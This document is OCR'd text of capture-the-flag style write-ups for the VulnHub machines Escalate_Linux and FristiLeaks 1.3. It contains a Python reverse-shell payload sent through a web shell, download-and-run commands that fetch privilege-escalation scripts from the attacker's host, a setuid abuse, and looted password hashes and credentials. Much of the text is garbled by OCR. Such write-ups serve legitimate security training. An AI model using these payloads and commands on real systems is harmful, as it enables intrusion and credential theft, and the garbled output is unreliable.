+ http://192.168.92.173:80/shell.php (CODE:200|SIZE:29)

END_TIME: Tue Sep 17 11:49:15 2019
DOWNLOADED: 27558 - FOUND: 4

Findings

Open Ports

80/tcp | http | Apache httpd 2.4.29 ((Ubuntu))

111/tcp | rpcbind | 2-4 (RPC #100000)

137/udp | netbios-ns | Samba nmbd netbios-ns (workgroup: WORKGROUP)
139/tcp | netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp | netbios-ssn | Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
2049/tcp | nfs_acl | 3 (RPC #100227)

39393/tcp | nlockmgr | 1-4 (RPC #100021)

43937/tcp | mountd | 1-3 (RPC #100005)

55567/tcp | mountd | 1-3 (RPC #100005)

59061/tcp | mountd | 1-3 (RPC #100005)

Files

http://192.168.92.173:80/shell.php

Users

ssh: root, mysql, userl, user2, user3, user4, user5, user6, user7, user8



Phase #2: Exploitation
1. We set up a netcat listener and invoke a Python reverse shell:

nc -nlvp 9999
http://192.168.92.173/shell.php?cmd=python -c 'import

o socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) ;s.connect(("192.168.92

o os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) ;p=subprocess.call(["/bin/sh","-i"]);"

+ Problem loading page X | +

(— = @ | Q 192.168.92.174/shell.php?cmd=python -c import socket,subprocess,os;s=socket.socket(socket. AF_INET,socket.SOCK_STREAM);s.connect(("192.168.92.163",9999) );0s.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno()
I links

Figure 4: writeup.exploitation.steps.1.1

root@kali: ~/toolbox/data/writeups/vulnhub.escalatelinux # nc -lnvp 9999
listening on [any] 9999 ...

connect to [192.168.92.163] from (UNKNOWN) [192.168.92.173] 48348
/bin/sh: ©: can't access tty; job control turned off
$ 3%
$
$ id
uid=1005{user6) gid=1005(user6) groups=1005(users6)
$
$
% uname -a
Linux osboxes 4.15.0-45-generic #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019 xB6 64 x86 64 x86 64 GNU/Linux
$
$
$ ifconfig
ens33: flags=4163<UP,BROADCAST, RUNNING,MULTICAST> mtu 1500
inet 192.168.92.173 netmask 255.255.255.0 broadcast 192.168.92.255
inet6 fe80::2e48:398c:348e:b9c9 prefixlen 64 scopeid Ox20<link=
ether 00:0c:29:a6:a7:b9 txqueuelen 1000 (Ethernet)
RX packets 266778 bytes 38129187 (38.1 MB)
RX errors @ dropped @ overruns @ frame ©
TX packets 263355 bytes 76831868 (76.8 MB)
TX errors @ dropped @ overruns © carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING= mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
ineté ::1 prefixlen 128 scopeid 0x1@<host=>
loop txqueuelen 1000 (Local Loopback)
RX packets 236 bytes 20955 (20.9 KB)
RX errors @ dropped @ overruns @ frame ©
TX packets 236 bytes 20955 (20.9 KB)
TX errors @ dropped @ overruns © carrier @ collisions @

Figure 5: writeup.exploitation.steps.1.2

Phase #2.5: Post Exploitation

user6Qosboxes> id

uid=1005(user6) gid=1005(user6) groups=1005(user6)

user6Qosboxes>

user6Qosboxes> uname

Linux osboxes 4.15.0-45-generic #48-Ubuntu SMP Tue Jan 29 16:28:13 UIC 2019 z86_64 xz86_64
o x86_64 GNU/Linuz

.163",99
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user6Cosboxes>
user6Cosboxes> ifconfig

ens33:

flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1500

inet 192.168.92.173 netmask 255.255.255.0 broadcast 192.168.92.255
inet6 fe80::2e48:398c:348e:b9c9 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:a6:a7:b9 txqueuelen 1000 (Ethernet)

RX packets 266778 bytes 38129187 (38.1 MB)

RX errors O dropped O overruns O frame O

TX packets 263355 bytes 76831868 (76.8 MB)

TX errors O dropped O overruns O carrier O collisions O

user6Qosboxes>
user6Qosboxes> users

root

mysql
userl
user?
user3
user4
userb
user6
user’7
user8



Phase #3: Privilege Escalation

1. We start with downloading the privesc enumerations scripts:

wget http://192.168.92.163:8000/1se.sh ; chmod +x ./lse.sh ; ./lse.sh | tee lse.txt

wget http://192.168.92.163:8000/1inenum.sh ; chmod +x ./linenum.sh ; ./linenum.sh | tee

< linenum.txt

wget http://192.168.92.163:8000/1linuxprivchecker.py ; chmod +x ./linuxprivchecker.py ; python
o ./linuxprivchecker.py | tee linuxprivchecker.txt

2. We also explore the home directories of users and find some inetresting files:

/home/user3/shell -+ setuid
/home/user4/abc.txt + owned by root
/home/user5/script -+ setuid



Jhome/user3:

total 160

drwxr-xr-x 22 user3 user3 4096 Jun
drwxr-xr-x 10 root root 4096 Jun
-rw------- 1 user3 user3 4710 Jun

13:37
14:16 ..
13:29 .ICEauthority

-rw-r--r-- 1 user3 user3 50 Jun 13:29 .Xauthority
-rw-r--r-- 1 user3 user3 124 Jun 13:29 .asoundrc
-rw-r--r-- 1 user3 user3 95 Jun 15:10 .bash history
-rw-r--r-- 1 user3 user3 220 Jun 13:29 .bash logout
-Mw-r--r-- 1 user3 user3 949 Jun 13:29 .bashrc

13:29 .cache
13:29 .config

drwxr-xr-x 15 user3 user3 4896 Jun
drwxr-xr-x 28 user3 user3 4096 Jun

drwxr-xr-x 3 user3 user3 4096 Jun 13:29 .dbus
-MW-r--r-- 1 user3 user3 23 Jun 13:29 .dmrc
-FW-F--r-- user3 user3 9354 Jun 13:29 .face

user3 user3 4096 Jun
user3 user3 4096 Jun
user3 user3 8 Jun
user3 user3 4096 Jun
user3 user3 4096 Jun
user3 user3 4096 Jun
user3 users3 20 Jun
user3 user3 105 Jun
user3 user3 4096 Jun
user3 user3 4096 Jun

drwxr-xr-x
drwxr-xr-x 2
-rwW-r--r--
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
-rwW-r--r--
-FrwW-Fr--r--
drwxr-xr-x
drwxr-xr-x

13:29 .gconf

13:29 .gimp-2.8
13:29 .gksu.lock
13:29 .gnome

13:29 .gnome2

13:29 .gnupg

13:29 .gtk-bookmarks
13:29 .gtkrc-2.0
13:29 .local

13:29 .mozilla

-MW-r--r-- user3 user3 873 Jun 13:29 .profile
- FWX - XWX root root 33 Jun 13:37 .script.sh
-MW-r--r-- user3 user3 @ Jun 13:29 .sudo as admin successful

13:29 .thumbnails
13:29 .thunderbird
13:29 Desktop
13:29 Documents
13:29 Downloads
13:29 Music

13:29 Pictures
13:29 Public
13:29 Templates
13:29 Videos
13:34 shell

user3 user3 4096 Jun
user3 user3 4096 Jun
user3 user3 4096 Jun
user3 user3 4096 Jun
user3 user3 4096 Jun
user3 user3 4096 Jun
user3 user3 4096 Jun
user3 user3 4096 Jun
user3 user3 4096 Jun
user3 user3 4096 Jun
root root 8392 Jun

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
-TWSIF-Xr-x

B T T T I - I R Y SN R A T S R T TG T T R R R e R R R

HORORORR R MMM R WERERPREREDOWRERERRWWWRE &M

Figure 6: writeup.privesc.steps.2.1



Jhome/userd:
total 152

drwxr-xr-x 22
drwxr-xr-x 10
= FW== =i 1
~FW=r==r==
“TW=r>~F=>
“fW=F==[==~
~FW-T=~T==
~FW=r==r==
drwxr-xr-x 1
drwxr-xr-x 2
drwxr-xr-x
~FW=r==r==
“fW=r>=F=>

drwxr-xr-x
drwxr-xr-x 2
-TW-T--r--
drwxr-xr-x
drwxr-xr-x

drwxr-xr-x
~FW=T==r==
“TW=T>~F=>
drwxr-xr-x
drwxr-xr-x
~FW=T==r==
“TW=T>~F=>

drwxr-xr-x
drwxr-xr-x

e L UL W L R W @ L e

=
=

i

i

i
(=]

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
-MW-r--r--

o A 5 o B 0 T 0 R 5 8 B Y

userd
root

user4
userd
userd
userg
user4
userd
userd
userg
user4
userd
userd
user4g
userd
userd
userd
user4g
userd
userd
userd
user4g
userd
userd
userd
user4g
userd
userd
userd
user4g
userd
userd
userd
user4g
userd
userd
root

userd
root

userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
userd
root

4096
4096
5032
lo2
124
560
220
549
4096
4096
4096
23
9354
4096
4096

4096
4096
4096
20
185
4096
4096
873

4096
4096
6301
4096
4096
4096
4096
4096
4096
4096
4096

4]

Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun
Jun

Sep 1

4
5
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
T

153
14:
14:
L5
13:
15:
13:
133
13:
13:
13:
14
13:
13:
13:
133
135
13:
13:
133
135
13:
13:
133
135
13:
13:
15:
14:
13:
13:
13:
13:
13:
13:
13:
15:

10
16
37
10
10
1@
40
40
10
40
40
37
10
40
40
40
40
40
40
40
40
40
40
40
40
40
40
1@
46
40
40
40
40
40
40
40
35

.ICEauthority
.Xauthority
.asoundrc
.bash history
.bash logout
.bashrc
.cache
.config

.dbus

.dmrc

.face

.gcont
.gimp-2.8
.gksu. lock
.gnome
.gnome2
.gnupg
.gtk-bookmarks
~gtkrc-2.8
.local
.mozilla
.profile
.sudo _as admin successful
.thumbnails
.thunderbird
.Xsession-errors
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
abc.txt

Figure 7: writeup.privesc.steps.2.2
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Jhome/users:

total 160

drwxr-xr-x 22 user5 user5 4096 Jun
drwxr-xr-x 10 root root 4096 Jun
-M------- 1 user5 user5 4710 Jun

16:27
14:16 ..
15:81 .ICEauthority

-rw-r--r-- 1 user5 users 58 Jun 15:01 .Xauthority
-rw-r--r-- 1 user5 user5 124 Jun 15:01 .asoundrc
-rw-r--r-- 1 user5 user5 220 Jun 16:27 .bash history
-rw-r--r-- 1 userb user5 220 Jun 15:01 .bash logout
-rw-r--r-- 1 user5 user5 949 Jun 15:01 .bashrc

15:01 .cache
15:81 .config

drwxr-xr-x 15 user5 user5 4096 Jun
drwxr-xr-x 20 user5 user5 4096 Jun

drwxr-xr-x 3 user5 user5 4096 Jun 15:01 .dbus
-rw-r--r-- 1 users users 23 Jun 15:01 .dmrc
-MW-r--r-- users users 9354 Jun 15:01 .fTace

userS user5 4096 Jun
users5 user5 4096 Jun
users users 8 Jun
users5 user5 4096 Jun
user> userS 4096 Jun
users5 user5 4096 Jun
users users 280 Jun
user5 user5 105 Jun
user> userS 4096 Jun
users5 user5 4096 Jun
user5 user5 873 Jun
usersS users 8 Jun
user> userS 4096 Jun
users5 user5 4096 Jun
user5 user5 4096 Jun
userS user5 4096 Jun
userd user5 4096 Jun
user5 user5 4096 Jun
user5 user5 4096 Jun
userS user5 4096 Jun
userd user5 4096 Jun
user5 user5 4096 Jun
usersS users 26 Jun
root root 8392 Jun

drwxr-xr-x
drwxr-xr-x 2
-rw-r--r--
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
-rw-r--r--
-rw-r--r--
drwxr-xr-x
drwxr-xr-x
-rw-r--r--
-rw-r--r--
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
S FWX WX -X
SFWSF-Xr-x

15:81 .gconf

15:01 .gimp-2.8
15:01 .gksu.lock
15:01 .gnome

15:01 .gnome2
15:01 .gnupg

15:01 .gtk-bookmarks
15:091 .gtkrc-2.0
15:01 .local

15:01 .mozilla
15:01 .profile
15:01 .sudo as admin successful
15:01 .thumbnails
15:01 .thunderbird
15:01 Desktop
15:01 Documents
15:01 Downloads
15:91 Music

15:01 Pictures
15:81 Public

15:01 Templates
15:01 Videos

15:54 1s

15:57 script

oo sk R R LRERELRLELRRERELRE LR R RERERLRE R RERRE R R RRE R R R R

ol o A T T B 0 0 B T R i W R PR P P P R N ]

Figure 8: writeup.privesc.steps.2.3

3. From linenum.sh scan, we find that the MySQL service allows login with the default credentials root/root.
We use this to connect and get credentials for the mysql user:
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[-]1 MYSQL version:
mysql Ver 14.14 Distrib 5.7.26, for Linux (x86 64) using EditlLine wrapper

[+] We can connect to the lec It root/root credentials

ﬁyéqladmin Ver 8.42 Distrib 5
Copyright (c) 2000, 2019, Oracle and/or its affiliates. ALl rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

owners.
Server version 5.7.26-0ubuntue.18.04.1
Protocol version 18

Connection Localhost via UNIX socket
UNIX socket Jvar/run/mysqld/mysqld.sock
Uptime: 9 hours 13 min 13 sec

Threads: 1 Questions: 2 Slow queries: @ Opens: 105 Flush tables: 1 Open tables: 98 Queries per second avg: 0.000

Figure 9: writeup.privesc.steps.3.1
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mysql> show databases;

oo - -
| Database |
e +
| information schema |
| mysql |
| performance schema |
| sys |
| user |
oo - -

5 rows in set (0.82 sec)

mysql> use user;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql= show tables;

e +
| Tables in user |
dom e oo +
| user info |
e +

1 row in set (©.00 sec)

mysgql= select * from user info;

=== === ==~ === === === === +
| username | password |
R i et +
| mysql | mysql@l2345 |
=== === ==~ === === === === +

1 row in set (©.00 sec)
mysql=

Figure 10: writeup.privesc.steps.3.2

4. We investigate the setuid files now. Since the first setuid file /home/user3/shell is owned by user3, we
checkout their .bash_history to see possible usage commands:

1 cat /home/user3/.bash_history
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[-]1 SUID files:
-rwsr-xr-x 1 root root 113336 Apr 25 16:17 /sbin/mount.nfs

-rwsr-xr-x 1 root root 18400 Sep 25 2017 /sbin/mount.ecryptfs private
-rwsr-xr-x 1 root root 35600 Mar 29 2018 /sbin/mount.cifs

-rwsr-xr-- 1 root dip 378600 Jun 12 2018 fusr/sbin/pppd

-rwsr-xr-x 1 root root 75824 Jan 25 2018 /fusr/bin/gpasswd

-rwsr-xr-x 1 root root 22520 Jan 15 2019 fusr/bin/pkexec

-rwsr-xr-x 1 root root 44528 Jan 25 2818 fusr/bin/chsh

-rwsr-xr-x 1 root root 59640 Jan 25 2018 fusr/bin/passwd

-rwsr-xr-x 1 root root 18448 Mar 9 2017 fusr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 76496 Jan 25 2818 fusr/bin/chfn

-rwsr-xr-x 1 root root 22528 Mar 9 28017 /fusr/bin/arping

-rwsr-xr-x 1 root root 40344 Jan 25 2018 fusr/bin/newgrp

-rwsr-xr-x 1 root root 1498860 Jan 17 2018 /usr/bin/sudo

-rwsr-sr-x 1 root root 18232 Oct 25 2018 fusr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root 18232 Mar 28 2017 /fusr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 14328 Jan 15 2019 fusr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 436552 Jan 31 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42992 Nov 15 2017 fusr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping

-rwsr-xr-x 1 root root 44664 Jan 25 2018 /bin/su

-rwsr-xr-x 1 root root 146128 Nov 308 2017 /bin/ntfs-3g

-rwsr-xr-x 1 root root 43088 Oct 15 2618 /bin/mount

-rwsr-xr-x 1 root root 26696 Oct 15 2018 /bin/umount

-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount

-rwsr-xr-x 1 root root 8392 Jun 4 15:57 /home/user5/script

-rwsr-xr-x 1 root root 8392 Jun 4 13:34 /home/user3/shell

[+] Possibly interesting SUID files:

-rwsr-xr-x 1 root root 8392 Jun 4 15:57 /home/user5/script

Figure 11: writeup.privesc.steps.4.1

cat /home/user3/.bash history

1s

./shell

nano .script.sh
./shell

id

user3

SU users3
1s

rm shell.c
1s -al
string

su root

userb

Figure 12: writeup.privesc.steps.4.2

5. We find that the /home/user3/shell file requries a .script.sh file and needs it to have executable permissions.
We create this file and test out the shell file which gives us an elevated shell:
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echo -en "bash -p" >>./.script.sh
chmod +x ./.script.sh
/home/user3/shell

usereé

IE:Id echo -en "/bin/bash -p* ==>./.script.sh
5 B3 /home/user3/shell
.sh: Permission denied
: TECIM chmod +x ./.script.sh
users6
/ TELM home/user3/shell
Welcome Lite 4.4

You are running in EHPEEUSER mode, be very careful.

Tuesday 17 September 2019, 17:18:46
Memory Usage: 339/985MB (34.42%)
Disk Usage: 5/217GB (3%)

useré
TECI id

; useré
home UELIl uname -a
Linux osboxes 4.15.08-45-generic #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019 x86 64 x86 64 x86 64 GNU/Linux
root / home usere
root / 'ECI-l ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.92.173 netmask 255.255.255.8 broadcast 192.168.92.255
inet6 feB0::2e48:398c:348e:b9c9 prefixlen 64 scopeid Bx20<link=>
ether 80:0c:29:a6:a7:b9 txqueuelen 1000 (Ethernet)
RX packets 274505 bytes 38801863 (38.8 MB)
RX errors @ dropped @ overruns @ frame ©
TX packets 268122 bytes 78249728 (78.2 MB)
TX errors © dropped 6 overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING= mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6é ::1 prefixlen 128 scopeid B@x18<host=>
loop txqueuelen 1000 (Local Loopback)
RX packets 249 bytes 22086 (22.0 KB)
RX errors @ dropped @ overruns @ Trame @
TX packets 249 bytes 22886 (22.0 KB)
TX errors @ dropped @ overruns @ carrier @ collisions 8

home userb

Figure 13: writeup.privesc.steps.5.1
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Loot
Hashes

root:$6$mqjgcFoM$X/ |
< qNpZR6gXPAxdgDjFpaD1yPIqUF515ZDANRTKyvcHQwSqSxX51A7n22k jEKQhSP6UQ7cPaYfzPSmgATM. . . ... ... ... ... .. ..
user1:$6$9iyn/ |
< 1Cu$Ux10ZYhhFSAwJI8DPjlrjrl2Wv.Pz9DahMTfwpwlUC5ybyBGpuHTONIIjTQMLGShOR2Ch4Ij5gkmPOeEH2. ... ... ... ... ...
user2:$6$7gVETKgT$ud1VN8OwYCbFveieo4CIQIoMcEgcfKqa24ivRs/MNAmmPeudsz/ |
< p3QeCMHj8UL1vSufZmp3TodaWlIFSZ.............oivuin...
user3: $6$PaKeECWA$5yMn9UU4YByCjOLP4QWaGt/ |
< 81aG0Zs73E0JXh.R10ebjpmsBmuGUwTgBamgCCx7qZ0sWJ0uzIgn.GM69a. .. ... ..o vviiii .t
user4: $6$0px j6KP1$NALS/2yN3TTIbPypEnsqYe1Prgbf ccHntMggldU2eM5/ |
< 23dnosIpmD8sRJwI1PyDFgQXHH62kYk.bzc6sA. .. ... .
user5:36
< $wndyax19$cOEaymjMiRil jzzaSaFVXD7LFx20w0xeonEdCW.GszLm77k0d5GpQZzJpcwvufmRndcYatr5ZQESdgbIs. .. ...... ..
user6:$68YOuYnrUW$ihpBL4g3GswEay/AqgrKzvin8uKhWiBN1hdKm6DAX7WtDZcUbh/5w/ |
< tQELa3LtiyTFwsLsWXubsSCfzRc........................
mysql: $6$02ymBAYFENZDtY392guzYrveKnolSea6oQpv870pEjEef 5KkEUqvt0AjZ2i1UPbkrfmrHG/ |
< IonKdnYEecOSOZBcQFZ.........couiiiinn...
user?: $6$5RBu0GFi$eJrQ4/xf2z/3pG43UkkoE35JbOBI17AW/umj1Xa7eykmal VKiRKJ4w3vFEOEOtYinnkIRa . 89
o AXEGRXAH. . v vt
user8:$6$£dtulQ7i$GOTHWA j6kUy4bX1£7C/ |
< 0XQtntwl23LRVRfIkJ6akDLPHIQBSPJLD4AEyz7wXsEhMc2XC4CqiTxATEb20x. .. oo vi it

Credentials

ssh: root/123..
mysql: mysql/mysql@l....

References

[+] https://www.vulnhub.com/entry/escalate_linux-1,323/
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https://www.vulnhub.com/entry/escalate_linux-1,323/

[VulnHub]| FristiLeaks: 1.3

Date: 11/Sep/2019
Categories: oscp, vulnhub, linux
Tags: exploit_ php_ fileupload, exploit_ php_ fileupload_bypass, privesc_sudo, privesc_ setuid

Overview

This is a writeup for VulnHub VM FristiLeaks: 1.3. Here are stats for this machine from machinescli:

machinescli -t --info fristi

# ID Name Rating Difficulty 0S 0SCPlike Owned TTPs

1% vulnhub#133 FristiLeaks: 1.3 ® [
privesc_sudo

privesc_setuid

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/fristileaks-13,133/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_php_fileupload&unscoped_q=exploit_php_fileupload
https://github.com/7h3rAm/writeups/search?q=exploit_php_fileupload_bypass&unscoped_q=exploit_php_fileupload_bypass
https://github.com/7h3rAm/writeups/search?q=privesc_sudo&unscoped_q=privesc_sudo
https://github.com/7h3rAm/writeups/search?q=privesc_setuid&unscoped_q=privesc_setuid
https://www.vulnhub.com/entry/fristileaks-13,133/
https://github.com/7h3rAm/machinescli

[VulnHub] FristiLeaks: 1.3

192.168.92.133 |

Y
‘Phase #1: Enumeration‘

Y

80/tcp

X
‘http://192.168.92.133/rob0ts.txt‘

Y

R Y Y . Y
http://192.168.92.133/cola | | http://192.168.92.133/sisi |  http://192.168.92.133/beer ‘http://192.168.92.133/fri5ti‘

r Y . Y
> rabbithole < ‘#fristileaks admin portal‘

¥

Phase #2: Exploitation

¥

credentials from himl source - eezeepz/keKkeKKeKKeKkEKKEk

¥

upload php file with gif header and extension
netcat listener - php reverse shell - apache
Y
Phase #3: Privilege Escalation
Y
/var/www/notes. txt
A 4 "
/home/eezeepz/notes.txt
Y
‘/tmp/runthis‘
Y
‘/bin/bash - admin‘
Y
‘/home/admin/cryptpass.py‘
P Y
su - fristigod
A 4
‘/home/fristigod/.secret_admin_stuff/doCom‘
Y
‘/bin/bash - root‘

Y
‘/root/fristileaks_secrets‘

Figure 2: writeup.overview.killchain

TTPs

1. 80/tcp/http/Apache httpd 2.2.15 ((Cent0S) DAV/2 PHP/5.3.3): exploit_ php_fileupload, exploit_ php_fileupload byp
privesc_ sudo, privesc_setuid


https://github.com/7h3rAm/writeups#exploit_php_fileupload
https://github.com/7h3rAm/writeups#exploit_php_fileupload_bypass
https://github.com/7h3rAm/writeups#privesc_sudo
https://github.com/7h3rAm/writeups#privesc_setuid
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Wed Sep 11 13:59:40 2019 as: mmap —vv —--reason —Pn -sV -sC

o —-version-all -oN

s /root/toolbox/vulnhub/fristileaksl.3/results/192.168.92.133/scans/_quick_tcp_nmap.txt -oX
s /root/toolboz/vulnhub/fristileaksl.3/results/192.168.92.133/scans/zml/_quick_tcp_nmap.zml
~ 192.168.92.133

Nmap scan report for 192.168.92.133

Host is up, received arp-response (0.00099s latency) .

Scanned at 2019-09-11 13:59:41 PDT for 13s

Not shown: 999 filtered ports

Reason: 992 no-responses and 7 host-prohibiteds

PORT STATE SERVICE REASON VERSION

80/tcp open http syn-ack ttl 64 Apache httpd 2.2.15 ((Cent0S) DAV/2 PHP/5.3.3)

| http-methods:

| Supported Methods: GET HEAD POST OPTIONS TRACE

|_ Potentially risky methods: TRACE

| http-robots.txt: 3 disallowed entries

|_/cola /sisi /beer

| _http-server-header: Apache/2.2.15 (Cent0S) DAV/2 PHP/5.3.3

|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
# Nmap done at Wed Sep 11 13:59:54 2019 -- 1 IP address (1 host up) scanned in 14.00 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

~ openports

# Port Protocol  Service Scans

./results/192.168.92.133/scans/tcp_80_http_dirb.txt
./results/192.168.92,.133/scans/tcp_80_http_nikto.txt
1. 80/tcp  http ttl 64 Apache httpd 2.2.15 ((Cent0S) DAV/2 PHP/5.3.3) ./results/192.168.92.133/scans/tcp_80_http_nmap.txt
./results/192.168.92.133/scans/tcp_8@_http_robots.txt
./results/192.168.92.133/scans/tcp_80@_http_whatweb.txt

Figure 3: writeup.enumeration.steps.2.1

3. We find references to 3 directories from robots.txt:

http://192.168.92.133/cola
http://192.168.92.133/sisi
http://192.168.92.133/beer


https://github.com/Tib3rius/AutoRecon

192.168.92.133/ X | 192.168.92.133/robots.txt

X |+

(&= @ | ® 192.168.92.133/robots.ixt

£ links

User-agent: *

Disallow: fcola
Disallow: fsisi
Disallow: /bheer

Figure 4: writeup.enumeration.steps.3.1

4. These directories don’t have anything useful other than a meme image. Since all these directory names are
references to drinks and the name of this VM also referes to one, we try http://192.168.92.133/fristi and are

presented with a login page:

192.168.92.133/ X | 192.168.92.133/robots.txt X | 192.168.92.133/fristi/ X | hitp://192.168.92.133/fristi/ X |+

&)= @ | © 19216892133t/
£ links

Welcome to #fristileaks admin portal

Member Login

Username : |

Password : | ‘

| Login |

Figure 5: writeup.enumeration.steps.4.1

Findings
Open Ports

80/tcp | http | Apache httpd 2.2.15 ((Cent0S) DAV/2 PHP/5.3.3)
Files

http://192.168.92.133/robots. txt
http://192.168.92.133/fristi

Users

e 4 ooty G\



1 ssh: eezeepz, admin, fristigod



Phase #2: Exploitation

1. The source of this page hints at a possible username eezeepz and password encoded within an image embedded
as Base64 data in this source:

eezeepz/keKkeKKeKKeKkEkkEk

@ NewTab X ‘.'mot.’touibox.fdalaivuinhubf' X ‘192.165.92.1331’&&1! X | http://192.168.92.133/fristi/ X | +

<> Q (@ view-source:http://192.168.92.133/fristif

S links

<html>

<head>

<meta name="description" content="super leet password login-test page. We use basef4 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
i

TO0DO:

We need to clean this up for production. I left seme junk in here to make testing easier.

- by eezeepz
-

</head>

<body>

<center><hl> Welcome to #fristileaks admin portal</hl=</center>

<center><img src="data:img/png;base6d, /9] /4ANOSKZIRGABAGANZABKAND /TAARRHY ja3kAADAERAAAZAAN /+AADKFKD2ITAGTAAMMAAT /b
AIOAAQEBADEBADEBAQEBAQEBADEBAQEBAQEBAGEBAQEBAQEBADEBAQEBAQEBADICAQICAQICAIC

Figure 6: writeup.exploitation.steps.1.1

@ New Tab X | [root/toolbox/data/vulnhub/t X |192.168_92_133ifri5ti! X | http://192.168.92.133/fiist! X | +

& = @ @ view-source:http://192.168.92.133/fristi/

links
1742 1a01PqnBR+z xS lwdg TVFA7 907 Yng /VUT/ p2 rTBAWPmG/ VT risbUle] ybHTU+KL [ 20==""/></center><br/>

£ -
1VBORWOKGGoAAAANSUhEUGAAAWBAAABL CATAAAABAUHGAAAAAXNSROIA rs4c60AAAARNQUIBAACx
JWvBYOUAAAAT cERZ cwAADSMAAATDA cAvgGOAAARSSURBYHhe7dTRAT sgETVhrasL 8ngymmwmi Gk L
SOIAQGYONbOL/ / dWSQyTgaxz2 t5+ACCHHAHGRY4ABCIHAHIRIWCSYBEAXUQIACIYBIAXOQLAL Xw
BAEWOAPALRwWB4kSMAVMGRAFTKCAAvCcqSAFzkCwIscAeBF jgDwIkcAe EJALzTEQBeSAGALSkc+f
mE3yaP7/ XP/SRUM2]x71Mz1ZdqpguZHPl+2J053h9+1gd/ OTL 2Wu T L5+RMpIq5 tMTKE1paHTVX3]
Zv7/ d516gse0tdrvabliMsRI+WroR 1 720bdWKgZSotHPqG LBLRhzy W WKk TFOPXFmu 1 C7e81bxnNOvh
DpYzOMNIWgp LLSBwtoaXwomxXt fhL8e6h+1 rNdDFu oQNIIXBK tHMpSUMNIBSeG f51bUc row+ViNd
j307 celwepPCi LLNXFpiggktXfaVtYSd6UpINGPFCDyKB3dyPLDS TVZZYnIR7ROWHE FGVSNIDY
12qmC/1/Zz2ZWX11abliBalg]Zdg5sqSxUgtY7syq+usUpINdOFeISENygbTT j+qDbc+OpGIcs
UVFQzVSaMISLLyMr fnrPUl2gmc+Ucqd+gbELINSX16/ 1/ 6Bt vWEQzFSYM2ILhyMLz4sNNtp/ pSkal
04Vajmwz1EdZvmSz9EQYbzbI/FSycgVSzZiXDNmS4c] Cni+kLRngizXThilgOhEkso2k5pGy00alg
11m+skSqQGFOSIVSKCSZv4+XH36vzb LOVETIrvhEEMyRaL L p+Bbhy31k85Bh ] qoUNSHY JHXIMC2Fg
tOHOdrysrz404sdL PWImulDLUdSpdEskSvI56tqglxnTX88tu/ PZy7ViHXImC2 IHI TWvBB T dZbels
300707 k3y+p09 fnEGA INGcoUnYSdgx rhkBIZKezvwdlwg FrveAQUNI sWbEUMYRS 2 T2B+ IwDh++F L
3K/ U+z2uFINWNCMmhLzUe2ven/ dAWGHmMLNIKGWIZE CKsMI Leo6+ecHBdvBUU4PnkgD L2 rGulS8HK
ul9iMrFG9gqa/ VTBBQORLUSTGF7 fYUTtgsn/4+zfhVEaiilscz LGrGvGTILsLLhiPhnheKnLOU12g
